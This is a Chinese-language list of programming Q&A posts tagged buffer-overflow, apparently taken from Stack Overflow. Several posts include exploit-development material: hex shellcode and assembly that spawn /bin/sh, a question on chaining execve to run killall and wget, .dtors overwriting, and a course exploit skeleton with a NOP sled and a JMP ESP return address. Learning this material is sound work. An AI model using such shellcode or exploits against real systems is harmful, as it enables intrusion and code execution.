标签: buffer-overflow

如何清除串行缓冲区?


我正在通过串行端口从微控制器接收消息。我使用的是 9600 的波特率。我有一个使用 win32 API 编写的程序来接收消息。有时会发生我无法接收消息,然后当我按下 Ctrl+C 时突然出现的情况。
如何清除串行缓冲区以避免这种数据泛滥?

谢谢

winapi serial-port buffer-overflow

2
推荐指数
1
解决办法
1万
查看次数

Shellcode:执行2次execve()调用

我试图在汇编中编写shellcode.我需要执行/usr/bin/killall命令和/usr/bin/wget命令.我有两个命令在shellcode中使用execve()syscall 完美运行.但是现在我想要将这两个结合起来,但这是不可能的,因为程序在执行第一个execve()调用时退出.(摘自execve():execve()成功后不返回).

我该如何进行2次execve()通话?还是有另一种方法来调用都/usr/bin/killall/usr/bin/wget同一个shell代码?

提前问候和感谢!

c assembly buffer-overflow execve shellcode

2
推荐指数
1
解决办法
625
查看次数

生成 shell 的十六进制代码实现

我正在尝试实现Aleph粉碎堆栈以获得乐趣和利润时给出的代码,以学习缓冲区溢出攻击的基础知识。

机器架构:Ubuntu 12.10 64 位

在 gcc 中使用 -m32 标志编译的程序

到目前为止,我已经设法使用汇编指令生成了一个 shell。下一步就是将那些指令转换成十六进制代码,这里我就遇到过这个问题。生成 shell 的汇编代码:

    void main() {
         __asm__(
    "Start:"
    "jmp    CallCode\n\t"
    "CallPop:"                    
    "popl   %esi\n\t"
    "movl   %esi,0x8(%esp)\n\t"           
    "xorl   %eax,%eax\n\t"                
    "movb   %al,0x7(%esp)\n\t"      
    "movl   %eax,0xc(%esp)\n\t"           
    "movb   $0xb,%al\n\t"                 
    "movl   %esi,%ebx\n\t"                
    "leal   0x8(%esp),%ecx\n\t"           
    "leal   0xc(%esp),%edx\n\t"           
    "int    $0x80\n\t"                    
    "xorl   %ebx,%ebx\n\t"                
    "movl   %ebx,%eax\n\t"                
    "inc    %eax\n\t"                     
    "int    $0x80\n\t"
    "CallCode:"                   
    "call   CallPop\n\t"                    
    ".string \"/bin/sh\"\n\t"             
Run Code Online (Sandbox Code Playgroud)

); }

对应的十六进制代码为:

    #include <sys/mman.h>
    #include<stdio.h>

    #define PAGE_SIZE 4096U

    char shellcode[]=                         "\xeb\x24\x5e\x89\x74\x24\x08\x31\xc0\x88\x44\x24\x07\x89\x44\x24\x0c\xb0"
        "\x0b\x89\xf3\x8d\x4c\x24\x08\x8d\x54\x24\x0c\xcd"
       "\x80\x31\x89\xd8\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";


    void test_shellcode() {

      int *ret;

// The …
Run Code Online (Sandbox Code Playgroud)

linux shell hex gcc buffer-overflow

2
推荐指数
1
解决办法
7070
查看次数

找不到部分 .dtors

我正在关注一些关于格式字符串漏洞利用的教程,并且在某些时候他们谈论覆盖 dtors 表。但这是我在使用 nm 时发现的:

080495a8 d _DYNAMIC
0804969c d _GLOBAL_OFFSET_TABLE_
080484cc R _IO_stdin_used
         w _ITM_deregisterTMCloneTable
         w _ITM_registerTMCloneTable
         w _Jv_RegisterClasses
08048594 r __FRAME_END__
080495a4 d __JCR_END__
080495a4 d __JCR_LIST__
080496bc D __TMC_END__
080496bc A __bss_start
080496b4 D __data_start
080483c0 t __do_global_dtors_aux (*)
0804959c t __do_global_dtors_aux_fini_array_entry (*)
080496b8 D __dso_handle
08049598 t __frame_dummy_init_array_entry
         w __gmon_start__
080484aa T __i686.get_pc_thunk.bx
0804959c t __init_array_end
08049598 t __init_array_start
08048440 T __libc_csu_fini
08048450 T __libc_csu_init
         U __libc_start_main@@GLIBC_2.0
080496bc A _edata
080496c0 A _end
080484b0 T _fini …
Run Code Online (Sandbox Code Playgroud)

c security assembly gdb buffer-overflow

2
推荐指数
1
解决办法
1419
查看次数

在C脚本中从不兼容的指针类型进行分配

在我上的一门课程中,给了我一个用C编写的损坏的缓冲区溢出脚本,并且必须修复损坏的代码。到目前为止,我已经修补了一些东西,但是在尝试编译它时会收到此错误消息(错误是从初始代码中显示出来的,而不是我编辑过的任何内容):

 

646-fixed.c:在功能'exploit'中:

646-fixed.c:48:警告:来自不兼容指针类型的赋值

 

以下是发生错误的功能。我对C不太熟悉-但是从昨天收到的答复中,我了解到发生这种情况是由于ptr的类型为int,而邪恶的类型为char。我不知道该怎么做才能解决此问题-有人可以帮忙吗?您也可以在此处查看完整脚本  

void exploit(int sock) {
      FILE *test;
      int *ptr;
      char userbuf[] = "USER madivan\r\n";
      char evil[3001];
      char buf[3012];
      char receive[1024];
      char nopsled[] = "\x90\x90\x90\x90\x90\x90\x90\x90"
                       "\x90\x90\x90\x90\x90\x90\x90\x90";
      memset(buf, 0x00, 3012);
      memset(evil, 0x00, 3001);
      memset(evil, 0x43, 3000);
48    ptr = &evil;
      ptr = ptr + 652; // 2608 
      memcpy(ptr, &nopsled, 16);
      ptr = ptr + 4;
      memcpy(ptr, &shellcode, 317);
      *(long*)&evil[2600] = 0x7CB41010; // JMP ESP XP 7CB41020 FFE4 JMP ESP

      // banner
      recv(sock, receive, 200, 0);
      printf("[+] %s", receive); …
Run Code Online (Sandbox Code Playgroud)

c buffer-overflow

2
推荐指数
1
解决办法
2290
查看次数

gdb“信息框架”中没有 epb/eip 寄存器

语境

info frame在我的机器上发出命令时(断点打开main),输出如下:

(gdb) info frame
Stack level 0, frame at 0x7fffffffdbd0:
 rip = 0x4005b1 in main; saved rip = 0x7ffff7a53b05
 Arglist at 0x7fffffffdbc0, args: 
 Locals at 0x7fffffffdbc0, Previous frame's sp is 0x7fffffffdbd0
 Saved registers:
  rbp at 0x7fffffffdbc0, rip at 0x7fffffffdbc8
Run Code Online (Sandbox Code Playgroud)

当我从了解这个答案eipebp寄存器(在我的输出不存在),具有以下含义:

eip 是执行下一条指令的寄存器(也称为程序计数器)

“ebp”是通常被认为是这个栈帧的locals的起始地址的寄存器,它使用“offset”来寻址

另一个答案中,我明白

【RIP是】指令指针

[...]

其中一些寄存器被设想用于特定用途,并且通常如此。最关键的是 RSP 和 RBP。

最后,info registers给我以下输出:

(gdb) info registers
rax            0x4005ad 4195757
rbx            0x0      0
rcx            0x0      0
rdx …
Run Code Online (Sandbox Code Playgroud)

c x86 gdb buffer-overflow

2
推荐指数
1
解决办法
2026
查看次数

有没有办法“重载”或重新实现 __stack_chk_fail?

我想在 gcc 中为我正在构建的在 x86 linux 上运行的系统启用堆栈保护功能。

我希望如果它检测到堆栈粉碎,它会调用我自己的函数来处理这种情况,或者它会调用我自己的函数实现__stack_chk_fail,有没有办法做到这一点?

到目前为止,我试图民主基金__stack_chk_fail__stack_chk_guard然后定义他们自己,但它没有工作,并试图利用缓冲区溢出时,导致分段错误。这是我所做的一个例子:

    #undef __stack_chk_guard
    #undef __stack_chk_fail
    uintptr_t __stack_chk_guard = 0xdeadbeef;

    void __stack_chk_fail(void)
    {
        printf("Stack smashing detected");
    }

   void foo(void)
   {
    char buffer[2];
    strcpy(buffer, "hello, I am smashing your stack!");
   }
Run Code Online (Sandbox Code Playgroud)

我也尝试使用,LD_PRELOAD但是在粉碎堆栈时导致分段错误,但它也导致分段错误。

c gcc buffer-overflow

2
推荐指数
1
解决办法
1390
查看次数

仅当重要指针被覆盖时,缓冲区溢出才会引起段错误吗?

假设我有一个程序声明了一个char buffer[size]和另一个变量,并用于gets(buffer);将数据写入buffer。如果gets提供的输入时间过长,则它将从缓冲区溢出,进入下一个变量(假设该变量位于之后的下一个地址中buffer):

void f(){
    char str[12] = "hello_world";
    char buffer[1];

    gets(buffer); // provided with a random char and then "hello_kitty"

    printf("str = %s\n", str); // no crash. Just prints "hello_kitty" as expected
}
Run Code Online (Sandbox Code Playgroud)

当使用“合法输入”运行它(意思是-不溢出第二个缓冲区)时,这没问题。即使我稍微溢出了缓冲区也可以,但是输入太多之后,程序崩溃了。

据我了解,这(意味着-不溢出第二个缓冲区)应该不会导致任何崩溃。可能导致崩溃的原因是破坏了保存指令指针的内存,因此它现在指向无效的地址(这是页面错误吗?)。

它是否正确?不影响堆栈/框架/指令指针的错误写入是否会导致崩溃?

c pointers buffer-overflow segmentation-fault

2
推荐指数
1
解决办法
2963
查看次数

relying on PATH_MAX can cause overflow

as you know PATH_MAX is value use to indicate the max size of an environment variable (in this case PATH variable), but it's not topically the case in most cases take a look at this code that is used to copy the environment variable into an array of size PATH_MAX

  char env[PATH_MAX]; 
  strcpy(path, getenv("PATH"));
Run Code Online (Sandbox Code Playgroud)

if you can see it can overflow so easily, one would say use strncpy so you can avoid overflow, but if you use it and the …

c linux security x86 buffer-overflow

2
推荐指数
1
解决办法
134
查看次数

使用 Canary 值的堆栈损坏检测

我正在阅读一本教科书,它描述了能够检测堆栈何时损坏的防御。书中说:

最新版本的 gcc 在生成的代码中加入了一种称为堆栈保护器的机制,以检测缓冲区溢出。这个想法是在任何本地缓冲区和堆栈状态的其余部分之间的堆栈帧中存储一个特殊的金丝雀值,如下图所示: 在此处输入图片说明

这个 canary 值,也称为 aguard 值,在程序每次运行时随机生成,因此攻击者没有简单的方法来确定它是什么。在恢复寄存器状态并从函数返回之前,程序检查金丝雀是否已被此函数的某些操作或它调用的某个操作更改。如果是这样,程序会因错误而中止。

我明白了,但我仍然认为这个设计存在缺陷。是的,攻击者可能无法确定 canary 的值是多少,但攻击者知道 canary 的大小(8 字节),因此攻击者可以操纵指针绕过 canary 所在的堆栈中的这 8 字节区域,然后覆盖返回地址,所以金丝雀实际上什么都不保护,我的理解是否正确?

c stack callstack x86-64 buffer-overflow

2
推荐指数
1
解决办法
781
查看次数